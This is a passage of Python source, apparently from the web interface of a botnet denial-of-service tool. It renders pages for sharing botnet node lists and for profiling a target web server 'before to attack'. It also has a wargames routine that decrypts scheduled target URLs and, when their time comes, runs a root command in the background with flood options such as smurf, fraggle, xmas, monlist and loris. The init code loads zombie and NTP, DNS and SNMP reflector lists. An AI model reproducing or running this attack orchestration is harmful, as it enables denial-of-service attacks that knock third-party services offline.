  2100. globalnet_owner=document.getElementById("globalnet_owner").value
  2101. globalnet_comment=document.getElementById("globalnet_comment").value
  2102. globalnet_warp=document.getElementById("globalnet_warp").value
  2103. if(globalnet_source2 == "") {
  2104. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  2105. return
  2106. }else{
  2107. if(globalnet_enckey == "") {
  2108. window.alert("You need to enter a valid key (provided by someone)");
  2109. return
  2110. }else{
  2111. params="globalnet_source2="+escape(globalnet_source2)+"&globalnet_enckey="+escape(globalnet_enckey)+"&globalnet_owner="+escape(globalnet_owner)+"&globalnet_comment="+escape(globalnet_comment)+"&globalnet_warp="+escape(globalnet_warp)
  2112. runCommandX("cmd_transfer_globalnet",params)
  2113. setTimeout("location.reload()", 10000)
  2114. }
  2115. }
  2116. }
  2117. </script>
  2118. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2119. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2120. <br>
  2121. <center>
  2122. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  2123. <td><a href="javascript:alert('Senator M.BIRDY says: Welcome ..., """ + self.ranking + """,... These are other visible motherships detected by our technology that are currently working for the Federation... You can contribute by uploading your location... Remember, to be a strong network always depends on you!');"><img src='data:image/png;base64,"""+self.alien11_img+"""'></a></td>
  2124. <td>RADAR device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit visible blackhole.Warps..." onclick="Warps()">VISIT WARPS!</button></td></tr></table>
  2125. <hr><br>
  2126. <center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='globalnet_source' id='globalnet_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'locations' proposed by other motherships..." onclick="SyncGlobalnet()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="globalnet_deckey" id="globalnet_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_globalnet();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr>
  2127. <td>Owner (your nick):</td><td><input type="text" maxlength="12" pattern=".{3,12}" title="3 to 12 characters" name="globalnet_owner" id="globalnet_owner" size="12" placeholder="Anonymous"></td></tr><tr><td>Ship Description (short comment):</td><td><input type="text" maxlength="90" name="globalnet_comment" id="globalnet_comment" size="90" placeholder="Uplink open from 00:00-GMT3 until 02:00-GMT3"></td></tr><tr><td>WARPING:</td><td> <select id="globalnet_warp">
  2128. <option value="OFF" selected>OFF - Blackhole technology is -OFF-</option>
  2129. <option value="ON1">ON1 - Blackhole technology is -ON- (download only)</option>
  2130. <option value="ON2">ON2 - Blachhole technology is -ON- (upload/download)</option>
  2131. </select></td></tr><tr><td>Blackhole/IP:</td><td><input type='text' name='globalnet_source2' id='globalnet_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="globalnet_enckey" id="globalnet_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your location to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SUBMIT!</button></pre></td></tr></table><br><br><hr><br><u>GLOBAL.NET</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+globalnet_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
  2132. def html_abduction(self):
  2133. return self.pages["/header"] + """<script language="javascript">
  2134. function Requests() {
  2135. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2136. }
  2137. function Start(){
  2138. target=document.getElementById("target").value
  2139. String.prototype.startsWith = function(prefix){
  2140. return this.indexOf(prefix) === 0;
  2141. }
  2142. if(target.startsWith("http")){
  2143. params="target="+escape(target)
  2144. }else{
  2145. window.alert("Target url not valid! -> It should starts with 'http(s)://'");
  2146. return
  2147. }
  2148. runCommandX("cmd_abduction",params)
  2149. }
  2150. </script></head>
  2151. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2152. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2153. <br>
  2154. <center>
  2155. <table cellpadding="38" cellspacing="38">
  2156. <tr>
  2157. <td>
  2158. </td>
  2159. <td>
  2160. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  2161. <tr>
  2162. <td>
  2163. <pre>
  2164. This feature will provide you information about target's web server.
  2165. You can use this before to attack to be more effective.
  2166. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
  2167. <hr>
  2168. Set your target: <input type="text" name="target" id="target" size="30" placeholder="http(s)://" required pattern="https?://.+">
  2169. <hr>
  2170. <button title="Start to research about your target's webserver configuration..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">RESEARCH!</button>
  2171. </pre>
  2172. </td></tr></table>
  2173. <br><br><hr><br>
  2174. <div id="cmdOut"></div><center>""" + self.pages["/footer"]
  2175. def html_blackholes(self):
  2176. return self.pages["/header"] + """<script language="javascript">
  2177. function Decrypt(){
  2178. blackhole_key=document.getElementById("blackhole_key").value
  2179. if(blackhole_key == "") {
  2180. window.alert("You need to enter a valid key (provided by someone)");
  2181. return
  2182. }else{
  2183. params="blackhole_key="+escape(blackhole_key)
  2184. runCommandX("cmd_decrypt",params)
  2185. document.getElementById("nb1").style.display = "none";
  2186. }
  2187. }
  2188. </script>
  2189. <script language="javascript">
  2190. function RefreshBlackhole(){
  2191. blackholes_source=document.getElementById("blackholes_source").value
  2192. if(blackholes_source == "") {
  2193. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  2194. return
  2195. }else{
  2196. params="blackholes_source="+escape(blackholes_source)
  2197. runCommandX("cmd_refresh_blackholes",params)
  2198. document.getElementById("nb1").style.display = "none";
  2199. setTimeout("location.reload()", 10000)
  2200. }
  2201. }
  2202. </script>
  2203. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2204. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2205. <br>
  2206. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  2207. <td>Blackhole/IP:</td>
  2208. <td><input type="text" name="blackholes_source" id="blackholes_source" size="20" value='"""+default_blackhole+"""'></td>
  2209. </tr></table></td><td><button title="Refreshing blackhole..." onClick="RefreshBlackhole()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Open Warp!</button></td></tr></table>
  2210. <hr>
  2211. <table cellpadding="5" cellspacing="5"><tr>
  2212. <td><a href="javascript:alert('Dhïkta says: """ + self.ranking + """... I can open warps directly to blackholes created by other motherships. This is nice to share and increase your legion on a crypto-distributed (P2P) way...');"><img src='data:image/png;base64,"""+self.alien3_img+"""'></a></td><td>
  2213. <table cellpading="5" cellspacing="10"><tr><td>
  2214. <form method='GET'>
  2215. Your key: <input type="text" name="blackhole_key" id="blackhole_key" size="20" value='"""+self.crypto_key+"""'>
  2216. </td></tr><tr><td>
  2217. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  2218. </form>
  2219. </td></tr></table></td></tr></table>
  2220. <hr><br>
  2221. </center>
  2222. Last update: <font color='"""+ self.blackholes_status_color + """'>"""+ self.blackholes_datetime + """</font><br><br>
  2223. <div id="cmdOut"></div>
  2224. <div id="nb1" style="display: block;">"""+self.blackholes_text+"""</div>
  2225. """ + self.pages["/footer"]
  2226. def wargames_engage_routine(self, wargames_engage_list): # check jobs when gui refresh (global army supply)
  2227. sep = wargames_msg_sep
  2228. flag_ufosyn = None
  2229. flag_spray = None
  2230. flag_smurf = None
  2231. flag_xmas = None
  2232. flag_nuke = None
  2233. flag_tachyon = None
  2234. flag_monlist = None
  2235. flag_fraggle = None
  2236. flag_sniper = None
  2237. flag_ufoack = None
  2238. flag_uforst = None
  2239. flag_droper = None
  2240. flag_overlap = None
  2241. flag_pinger = None
  2242. flag_ufoudp = None
  2243. for job in wargames_engage_list:
  2244. job_t2 = job.rsplit(sep, 1)[0]
  2245. job_creation = job_t2.rsplit(sep, 1)[0]
  2246. job_target = job_t2.rsplit(sep, 1)[1]
  2247. job_estimated = job.rsplit(sep, 1)[1]
  2248. self.decrypt(self.crypto_key, job_estimated)
  2249. if self.decryptedtext:
  2250. job_estimated_dec = self.decryptedtext
  2251. else:
  2252. job_estimated_dec = ""
  2253. self.decryptedtext = ""
  2254. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  2255. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  2256. try:
  2257. job_estimated_dec = strptime(job_estimated_dec.decode('utf-8'), "%d-%m-%Y %H:%M:%S")
  2258. except:
  2259. job_estimated_dec = strptime(job_estimated_dec, "%d-%m-%Y %H:%M:%S")
  2260. if (job_estimated_dec == now or job_estimated_dec < now): # engage it! (when 'now' or '<')
  2261. self.decrypt(self.crypto_key, job_target)
  2262. if self.decryptedtext:
  2263. job_target_dec = self.decryptedtext
  2264. else:
  2265. job_target_dec = ""
  2266. self.decryptedtext = ""
  2267. if job_target_dec != "":
  2268. job_target_dec = "http://" + job_target_dec # set target prefix to http://
  2269. try: # read global army supply (json)
  2270. with open(self.mothership_supplycfg_file) as data_file:
  2271. data = json.load(data_file)
  2272. except:
  2273. print('[Info] [AI] Cannot found: "core/json/supplycfg.json" -> [Generating!]')
  2274. with open(self.mothership_supplycfg_file, "w") as f:
  2275. json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0, "nuke": 0, "tachyon": 0, "monlist": 0, "fraggle": 0, "sniper": 0, "ufoack": 0, "uforst": 0, "droper": 0, "overlap": 0, "pinger": 0, "ufoudp": 0}, f, indent=4)
  2276. with open(self.mothership_supplycfg_file) as data_file:
  2277. data = json.load(data_file)
  2278. self.supply_botnet = data["botnet"]
  2279. self.supply_loic = data["loic"]
  2280. self.supply_loris = data["loris"]
  2281. self.supply_ufosyn = data["ufosyn"]
  2282. self.supply_spray = data["spray"]
  2283. self.supply_smurf = data["smurf"]
  2284. self.supply_xmas = data["xmas"]
  2285. self.supply_nuke = data["nuke"]
  2286. self.supply_tachyon = data["tachyon"]
  2287. self.supply_monlist = data["monlist"]
  2288. self.supply_fraggle = data["fraggle"]
  2289. self.supply_sniper = data["sniper"]
  2290. self.supply_ufoack = data["ufoack"]
  2291. self.supply_uforst = data["uforst"]
  2292. self.supply_droper = data["droper"]
  2293. self.supply_overlap = data["overlap"]
  2294. self.supply_pinger = data["pinger"]
  2295. self.supply_ufoudp = data["ufoudp"]
  2296. job_estimated_dec = strftime("%d-%m-%Y %H:%M:%S", job_estimated_dec)
  2297. print("[Info] [Wargames] Time is over: [" + str(job_estimated_dec) + "] -> Engaging target: " + str(job_target_dec))
  2298. cmd = ""
  2299. nonroot_cmd = python_version + " -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" "
  2300. root_cmd = "sudo "+ python_version+" -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" "
  2301. if int(self.supply_fraggle) > 0:
  2302. cmd += "--fraggle " +str(self.supply_fraggle)+ " "
  2303. flag_fraggle = True
  2304. if int(self.supply_sniper) > 0:
  2305. cmd += "--sniper " +str(self.supply_sniper)+ " "
  2306. flag_sniper = True
  2307. if int(self.supply_ufoack) > 0:
  2308. cmd += "--ufoack " +str(self.supply_ufoack)+ " "
  2309. flag_ufoack = True
  2310. if int(self.supply_uforst) > 0:
  2311. cmd += "--uforst " +str(self.supply_uforst)+ " "
  2312. flag_uforst = True
  2313. if int(self.supply_droper) > 0:
  2314. cmd += "--droper " +str(self.supply_droper)+ " "
  2315. flag_droper = True
  2316. if int(self.supply_overlap) > 0:
  2317. cmd += "--overlap " +str(self.supply_overlap)+ " "
  2318. flag_overlap = True
  2319. if int(self.supply_pinger) > 0:
  2320. cmd += "--pinger " +str(self.supply_pinger)+ " "
  2321. flag_pinger = True
  2322. if int(self.supply_ufoudp) > 0:
  2323. cmd += "--ufoudp " +str(self.supply_ufoudp)+ " "
  2324. flag_ufoudp = True
  2325. if int(self.supply_monlist) > 0:
  2326. cmd += "--monlist " +str(self.supply_monlist)+ " "
  2327. flag_monlist = True
  2328. if int(self.supply_tachyon) > 0:
  2329. cmd += "--tachyon " +str(self.supply_tachyon)+ " "
  2330. flag_tachyon = True
  2331. if int(self.supply_nuke) > 0:
  2332. cmd += "--nuke " +str(self.supply_nuke)+ " "
  2333. flag_nuke = True
  2334. if int(self.supply_xmas) > 0:
  2335. cmd += "--xmas " +str(self.supply_xmas)+ " "
  2336. flag_xmas = True
  2337. if int(self.supply_smurf) > 0:
  2338. cmd += "--smurf " +str(self.supply_smurf)+ " "
  2339. flag_smurf = True
  2340. if int(self.supply_spray) > 0:
  2341. cmd += "--spray " +str(self.supply_spray)+ " "
  2342. flag_spray = True
  2343. if int(self.supply_ufosyn) > 0:
  2344. cmd += "--ufosyn " +str(self.supply_ufosyn)+ " "
  2345. flag_ufosyn = True
  2346. if int(self.supply_loris) > 0:
  2347. cmd += "--loris " +str(self.supply_loris)+ " "
  2348. if int(self.supply_loic) > 0:
  2349. cmd += "--loic " +str(self.supply_loic)+ " "
  2350. if not flag_fraggle and not flag_sniper and not flag_ufoack and not flag_uforst and not flag_droper and not flag_overlap and not flag_pinger and not flag_ufoudp and not flag_monlist and not flag_tachyon and not flag_nuke and not flag_xmas and not flag_smurf and not flag_spray and not flag_ufosyn:
  2351. cmd = nonroot_cmd + cmd # non root required (LOIC, LORIS)
  2352. if flag_ufosyn == True or flag_spray == True or flag_smurf == True or flag_xmas == True or flag_nuke == True or flag_tachyon == True or flag_monlist == True or flag_fraggle == True or flag_sniper == True or flag_ufoack == True or flag_uforst == True or flag_droper == True or flag_overlap == True or flag_pinger == True or flag_ufoudp == True:
  2353. cmd = root_cmd + cmd # root required (UFOSYN, SPRAY, SMURF, XMAS, NUKE, TACHYON, MONLIST, FRAGGLE, SNIPER, UFOACK, UFORST, DROPER, OVERLAP, PINGER, UFOUDP)
  2354. runcmd = cmd + " "
  2355. runcmd = runcmd + "--force-yes &" # no raw_input allowed on webgui (+run it as daemon!)
  2356. print("[Info] [Wargames] Running command:", runcmd, "\n")
  2357. os.system(runcmd) # launch it!
  2358. if "!!!" in job: # remove it from queue (unjob)
  2359. f = open(self.wargames_file, "r")
  2360. ls = f.readlines()
  2361. f.close()
  2362. f = open(self.wargames_file, "w")
  2363. for l in ls:
  2364. if str(l) != str(job):
  2365. f.write(l)
  2366. else:
  2367. job = re.sub('[!!!]', '', job)
  2368. f.write(job)
  2369. f.close()
  2370. def extract_ranking_table(self):
  2371. f = open(self.grid_file,"r") # ranking data extracted from grid.txt
  2372. ls = f.readlines()
  2373. f.close()
  2374. if not ls: # not data on grid.txt
  2375. return
  2376. ranking_items={}
  2377. ranking_key = crypto_key
  2378. nodec_text = "Anonymous"
  2379. nodec_num = 0
  2380. self.ranking_grid_total = 0
  2381. try:
  2382. for j in ls:
  2383. if grid_msg_sep in j:
  2384. self.ranking_grid_total = self.ranking_grid_total + 1
  2385. m = j.split(grid_msg_sep)
  2386. ranking_nickname = m[0] # nickname
  2387. self.decrypt(ranking_key, ranking_nickname)
  2388. if self.decryptedtext:
  2389. ranking_nickname = str(self.decryptedtext)
  2390. else:
  2391. ranking_nickname = nodec_text
  2392. if ranking_nickname == "Anonymous":
  2393. ranking_nickname = ranking_nickname + str(self.ranking_grid_total*3) # add pseudo-rand as end to evade similars
  2394. self.decryptedtext = "" # clean decryptedtext buffer
  2395. ranking_ranking = m[1] # ranking
  2396. self.decrypt(ranking_key, ranking_ranking)
  2397. if self.decryptedtext:
  2398. try:
  2399. ranking_ranking = int(self.decryptedtext)
  2400. except:
  2401. ranking_ranking = nodec_num
  2402. else:
  2403. ranking_ranking = nodec_num
  2404. ranking_items[ranking_nickname] = ranking_ranking
  2405. except:
  2406. ranking_nickname = "Anonymous"
  2407. ranking_ranking = 0
  2408. ranking_items[ranking_nickname] = ranking_ranking
  2409. self.top_rookie = []
  2410. self.top_mercenary = []
  2411. self.top_bandit = []
  2412. self.top_ufommander = []
  2413. self.top_ufoleet = []
  2414. for k, v in ranking_items.items():
  2415. if v == 0: # not any data (or decryption allowed) on grid so discard
  2416. pass
  2417. if v == 1: # add this player as a rookie
  2418. self.ranking_grid_rookie = self.ranking_grid_rookie + 1
  2419. self.top_rookie.append(k)
  2420. elif v == 2: # add this player as a mercenary
  2421. self.ranking_grid_mercenary = self.ranking_grid_mercenary + 1
  2422. self.top_mercenary.append(k)
  2423. elif v == 3: # add this player as a bandit
  2424. self.ranking_grid_bandit = self.ranking_grid_bandit + 1
  2425. self.top_bandit.append(k)
  2426. elif v == 4: # add this player as a ufommander
  2427. self.ranking_grid_ufommander = self.ranking_grid_ufommander + 1
  2428. self.top_ufommander.append(k)
  2429. elif v == 5: # add this player as a ufoleet
  2430. self.ranking_grid_ufoleet = self.ranking_grid_ufoleet + 1
  2431. self.top_ufoleet.append(k)
  2432. else: # add this player as unknown
  2433. self.ranking_grid_unknown = self.ranking_grid_unknown + 1
  2434. top5 = sorted(ranking_items, key=ranking_items.get, reverse=True)[:5]
  2435. for p in top5: # extract best players
  2436. if self.ranking_top5_player1 == "Anonymous":
  2437. self.ranking_top5_player1 = p
  2438. elif self.ranking_top5_player2 == "Anonymous":
  2439. self.ranking_top5_player2 = p
  2440. elif self.ranking_top5_player3 == "Anonymous":
  2441. self.ranking_top5_player3 = p
  2442. elif self.ranking_top5_player4 == "Anonymous":
  2443. self.ranking_top5_player4 = p
  2444. elif self.ranking_top5_player5 == "Anonymous":
  2445. self.ranking_top5_player5 = p
  2446. if self.ranking == "Rookie":
  2447. shuffle(self.top_rookie) # shuffle for different results
  2448. top3 = self.top_rookie[:3]
  2449. elif self.ranking == "Mercenary":
  2450. shuffle(self.top_mercenary)
  2451. top3 = self.top_mercenary[:3]
  2452. elif self.ranking == "Bandit":
  2453. shuffle(self.top_bandit)
  2454. top3 = self.top_bandit[:3]
  2455. elif self.ranking == "UFOmmander!":
  2456. shuffle(self.top_ufommander)
  2457. top3 = self.top_ufommander[:3]
  2458. elif self.ranking == "UFOl33t!":
  2459. shuffle(self.top_ufoleet)
  2460. top3 = self.top_ufoleet[:3]
  2461. for p in top3: # extract similar player
  2462. if self.ranking_similar_player1 == "Anonymous":
  2463. self.ranking_similar_player1 = p
  2464. elif self.ranking_similar_player2 == "Anonymous":
  2465. self.ranking_similar_player2 = p
  2466. elif self.ranking_similar_player3 == "Anonymous":
  2467. self.ranking_similar_player3 = p
  2468. top1 = sorted(ranking_items, key=ranking_items.get, reverse=True)
  2469. shuffle(top1) # shuffle for different results
  2470. top1 = random.choice(top1).strip() # extract random player
  2471. self.ranking_top1_player1 = top1
  2472. def __init__(self):
  2473. self.crypto_key = crypto_key # set default symmetric crypto key
  2474. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  2475. self.board_file = 'data/board.txt' # set source path to retrieve board warning message
  2476. self.grid_file = 'data/grid.txt' # set source path to retrieve grid
  2477. self.board_warning = "" # set initial (str) board warning message
  2478. self.wargames_file = 'data/wargames.txt' # set source path to retrieve wargames
  2479. self.links_file = 'data/links.txt' # set source path to retrieve links
  2480. self.streams_file = 'data/streams.txt' # set source path to retrieve streams
  2481. self.games_file = 'data/games.txt' # set source path to retrieve games
  2482. self.globalnet_file = 'data/globalnet.txt' # set source path to retrieve Global.Net
  2483. self.zombies_file = "botnet/zombies.txt" # set source path to retrieve 'zombies'
  2484. self.aliens_file = "botnet/aliens.txt" # set source path to retrieve 'aliens'
  2485. self.droids_file = "botnet/droids.txt" # set source path to retrieve 'droids'
  2486. self.ucavs_file = "botnet/ucavs.txt" # set source path to retrieve 'ucavs'
  2487. self.rpcs_file = "botnet/rpcs.txt" # set source path to retrieve 'rpcs'
  2488. self.ntps_file = "botnet/ntp.txt" # set source path to retrieve 'ntps'
  2489. self.dnss_file = "botnet/dns.txt" # set source path to retrieve 'dns'
  2490. self.snmps_file = "botnet/snmp.txt" # set source path to retrieve 'snmps'
  2491. self.release_date_file = "docs/release.date" # set source path to retrieve release date
  2492. self.news = "data/news.txt" # set source path to retrieve server news
  2493. self.tv = "data/tv.txt" # set source path to retrieve server tv
  2494. self.missions = "data/missions.txt" # set source path to retrieve server missions
  2495. self.mothership_webcfg_file = 'core/json/webcfg.json' # set source for mothership webcfg
  2496. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  2497. self.mothership_boardcfg_file = 'core/json/boardcfg.json' # set source for mothership boardcfg
  2498. self.mothership_gridcfg_file = 'core/json/gridcfg.json' # set source for mothership gridcfg
  2499. self.mothership_supplycfg_file = 'core/json/supplycfg.json' # set source for mothership supplyscfg
  2500. self.mothership_model_file = 'core/txt/model.txt' # set source for mothership model
  2501. f = open(self.mothership_model_file) # extract mothership model
  2502. self.mothership_model = f.read()
  2503. f.close()
  2504. self.faq_file = 'docs/FAQ.html' # set source for FAQ
  2505. f = open(self.faq_file) # extract FAQ text
  2506. self.faq_text = f.read()
  2507. f.close()
  2508. self.author_file = 'docs/AUTHOR' # set source for AUTHOR
  2509. f = open(self.author_file) # extract AUTHOR text
  2510. self.author_text = f.read()
  2511. f.close()
  2512. self.ranking = "Rookie Star" # set starting rank
  2513. self.decryptedtext = "" # set buffer for decryption
  2514. self.encryptedtext = "" # set buffer for encryption
  2515. self.blackholes = "data/nodes.txt" # set source path to retrieve server [Community] blackholes (nodes)
  2516. self.blackhole = default_blackhole # set default blackhole
  2517. self.blackholes_status = "Not connected!" # set default status for blackholes
  2518. self.blackholes_status_color = "red" # set default status color for blackholes
  2519. self.referer = 'http://127.0.0.1/'
  2520. self.mothershipname = "core/txt/shipname.txt"
  2521. self.ufonet_logo_img = open("core/images/ufonet-logo.txt").read()
  2522. self.favicon_img = open("core/images/favicon.txt").read()
  2523. self.mothership_img = open("core/images/mothership.txt").read()
  2524. self.commander_img = open("core/images/commander.txt").read()
  2525. self.board_img = open("core/images/board.txt").read()
  2526. self.aliens_img = open("core/images/aliens.txt").read()
  2527. self.alien1_img = open("core/images/aliens/alien1.txt").read()
  2528. self.alien2_img = open("core/images/aliens/alien2.txt").read()
  2529. self.alien3_img = open("core/images/aliens/alien3.txt").read()
  2530. self.alien4_img = open("core/images/aliens/alien4.txt").read()
  2531. self.alien5_img = open("core/images/aliens/alien5.txt").read()
  2532. self.alien6_img = open("core/images/aliens/alien6.txt").read()
  2533. self.alien7_img = open("core/images/aliens/alien7.txt").read()
  2534. self.alien8_img = open("core/images/aliens/alien8.txt").read()
  2535. self.alien9_img = open("core/images/aliens/alien9.txt").read()
  2536. self.alien10_img = open("core/images/aliens/alien10.txt").read()
  2537. self.alien11_img = open("core/images/aliens/alien11.txt").read()
  2538. self.alien12_img = open("core/images/aliens/alien12.txt").read()
  2539. self.alien13_img = open("core/images/aliens/alien13.txt").read()
  2540. self.ranking_grid_total = 0
  2541. self.ranking_grid_rookie = 0
  2542. self.ranking_grid_mercenary = 0
  2543. self.ranking_grid_bandit = 0
  2544. self.ranking_grid_ufommander = 0
  2545. self.ranking_grid_ufoleet = 0
  2546. self.ranking_grid_unknown = 0
  2547. self.ranking_top5_player1 = "Anonymous"
  2548. self.ranking_top5_player2 = "Anonymous"
  2549. self.ranking_top5_player3 = "Anonymous"
  2550. self.ranking_top5_player4 = "Anonymous"
  2551. self.ranking_top5_player5 = "Anonymous"
  2552. self.ranking_similar_player1 = "Anonymous"
  2553. self.ranking_similar_player2 = "Anonymous"
  2554. self.ranking_similar_player3 = "Anonymous"
  2555. self.ranking_top1_player1 = "Anonymous"
  2556. f = open(self.mothershipname) # extract ship name
  2557. self.mothership_id = f.read()
  2558. self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
  2559. f.close()
  2560. f = open(self.release_date_file) # extract release creation datetime
  2561. self.release_date = f.read()
  2562. # adding AnonTwi (anontwi.03c8.net) cyphering -> AES256+HMAC-SHA1
  2563. self.trans_5C = ''.join([chr (x ^ 0x5c) for x in range(256)])
  2564. self.trans_36 = ''.join([chr (x ^ 0x36) for x in range(256)])
  2565. self.trans_5C = self.trans_5C.encode("latin-1")
  2566. self.trans_36 = self.trans_36.encode("latin-1")
  2567. f.close()
  2568. f = open(self.blackholes) # double extract blackholes (nodes.txt)
  2569. self.blackholes_text = f.read()
  2570. f.close()
  2571. f = open(self.blackholes)
  2572. self.blackholes_block = f.readlines()
  2573. f.close()
  2574. self.list_blackholes = []
  2575. for b in self.blackholes_block:
  2576. self.list_blackholes.append(b)
  2577. self.blackholes_datetime = time.ctime(os.path.getctime('data/nodes.txt')) # extract nodes datetime
  2578. if self.blackholes_datetime == self.release_date_file: # never connected to feeds
  2579. self.blackholes_status_color = "red" # set status color for blackholes to 'red'
  2580. else:
  2581. self.blackholes_status_color = "green" # set status color for blackholes to 'green'
  2582. f = open(self.news) # double extract news
  2583. self.news_text = f.read()
  2584. f.close()
  2585. f = open(self.news)
  2586. self.news_block = f.readlines()
  2587. f.close()
  2588. self.list_news = []
  2589. for n in self.news_block:
  2590. self.list_news.append(n)
  2591. self.news_datetime = time.ctime(os.path.getctime('data/news.txt')) # extract news.txt datetime
  2592. if self.news_datetime == self.release_date_file: # never connected to feeds
  2593. self.news_status_color = "red" # set status color for news to 'red'
  2594. else:
  2595. self.news_status_color = "green" # set status color for news to 'green'
  2596. f = open(self.tv) # double extract tv
  2597. self.tv_text = f.read()
  2598. f.close()
  2599. f = open(self.tv)
  2600. self.tv_block = f.readlines()
  2601. f.close()
  2602. self.list_tv = []
  2603. for n in self.tv_block:
  2604. self.list_tv.append(n)
  2605. self.tv_datetime = time.ctime(os.path.getctime('data/tv.txt')) # extract tv.txt datetime
  2606. if self.tv_datetime == self.release_date_file: # never connected to feeds
  2607. self.tv_status_color = "red" # set status color for tv to 'red'
  2608. else:
  2609. self.tv_status_color = "green" # set status color for tv to 'green'
  2610. f = open(self.board_file) # double extract board
  2611. self.moderator_text = f.read()
  2612. f.close()
  2613. f = open(self.board_file)
  2614. self.moderator_block = f.readlines()
  2615. f.close()
  2616. self.list_moderator = []
  2617. for n in self.moderator_block:
  2618. self.list_moderator.append(n)
  2619. f = open(self.grid_file) # double grid board
  2620. self.grid_text = f.read()
  2621. self.ranking_text = f.read() # ranking data is extracted from grid
  2622. f.close()
  2623. f = open(self.grid_file)
  2624. self.grid_block = f.readlines()
  2625. f.close()
  2626. self.list_grid = []
  2627. for n in self.grid_block:
  2628. self.list_grid.append(n)
  2629. self.ranking_datetime = time.ctime(os.path.getctime('data/grid.txt')) # extract grid.txt datetime for ranking calcs
  2630. if self.ranking_datetime == self.release_date_file: # never connected to feeds
  2631. self.ranking_status_color = "red" # set status color for ranking to 'red'
  2632. else:
  2633. self.ranking_status_color = "green" # set status color for ranking to 'green'
  2634. f = open(self.wargames_file) # double wargames board
  2635. self.wargames_text = f.read()
  2636. f.close()
  2637. f = open(self.wargames_file)
  2638. self.wargames_block = f.readlines()
  2639. f.close()
  2640. self.list_wargames = []
  2641. for n in self.wargames_block:
  2642. self.list_wargames.append(n)
  2643. f = open(self.links_file) # double links extraction
  2644. self.links_text = f.read()
  2645. f.close()
  2646. f = open(self.links_file)
  2647. self.links_block = f.readlines()
  2648. f.close()
  2649. self.list_links = []
  2650. for n in self.links_block:
  2651. self.list_links.append(n)
  2652. f = open(self.globalnet_file) # double globalnet extraction
  2653. self.globalnet_text = f.read()
  2654. f.close()
  2655. f = open(self.globalnet_file)
  2656. self.globalnet_block = f.readlines()
  2657. f.close()
  2658. self.list_globalnet = []
  2659. for n in self.globalnet_block:
  2660. self.list_globalnet.append(n)
  2661. f = open(self.streams_file) # double streams extraction
  2662. self.streams_text = f.read()
  2663. f.close()
  2664. f = open(self.streams_file)
  2665. self.streams_block = f.readlines()
  2666. f.close()
  2667. self.list_streams = []
  2668. for n in self.streams_block:
  2669. self.list_streams.append(n)
  2670. f = open(self.missions) # double extract missions
  2671. self.missions_text = f.read()
  2672. f.close()
  2673. f = open(self.missions)
  2674. self.missions_block = f.readlines()
  2675. f.close()
  2676. self.list_missions = []
  2677. for m in self.missions_block:
  2678. self.list_missions.append(m)
  2679. self.missions_datetime = time.ctime(os.path.getctime('data/missions.txt')) # extract missions.txt datetime
  2680. if self.missions_datetime == self.release_date_file: # never connected to feeds
  2681. self.missions_status_color = "red" # set status color for missions to 'red'
  2682. else:
  2683. self.missions_status_color = "green" # set status color for missions to 'green'
  2684. stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats
  2685. data = json.load(stats_json_file)
  2686. stats_json_file.close()
  2687. self.abductor = Abductor(self) # call abductor for data size conversor
  2688. self.aflying = data["flying"]
